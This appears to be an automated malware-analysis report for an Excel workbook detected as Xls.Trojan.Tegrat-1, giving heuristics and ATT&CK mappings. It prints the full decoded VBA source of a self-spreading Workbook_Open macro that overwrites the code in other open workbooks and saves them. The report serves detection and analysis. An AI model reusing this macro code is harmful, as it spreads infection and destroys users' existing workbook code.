MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The critical ClamAV heuristic identified the file as Xls.Trojan.Tegrat-1. The Workbook_Open VBA macro is designed to copy its own code to any other open workbooks, which is a common technique for spreading or maintaining persistence. The macro's behavior suggests it aims to ensure its execution across multiple documents.
Heuristics 3
-
ClamAV: Xls.Trojan.Tegrat-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Tegrat-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1659 bytes |
SHA-256: 3e4361c637425da1efdd15ace126ee2e78cd9b6b5c97c5212f9afc027f0f6169 |
|||
|
Detection
ClamAV:
Xls.Trojan.Tegrat-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Application.EnableCancelKey = xlDisabled
Application.DisplayAlerts = Yes
TW = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If Workbooks.Count > 1 Then
For A = 1 To Workbooks.Count
With Workbooks.Item(A).VBProject.VBComponents.Item(1).CodeModule
If .CountOfLines > 1 Then Target = .Lines(1, .CountOfLines)
If Target <> TW Then
.DeleteLines 1, .CountOfLines
.AddFromString TW
Workbooks.Item(A).SaveAs FileName:=Workbooks.Item(A).FullName
End If
End With
Next
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.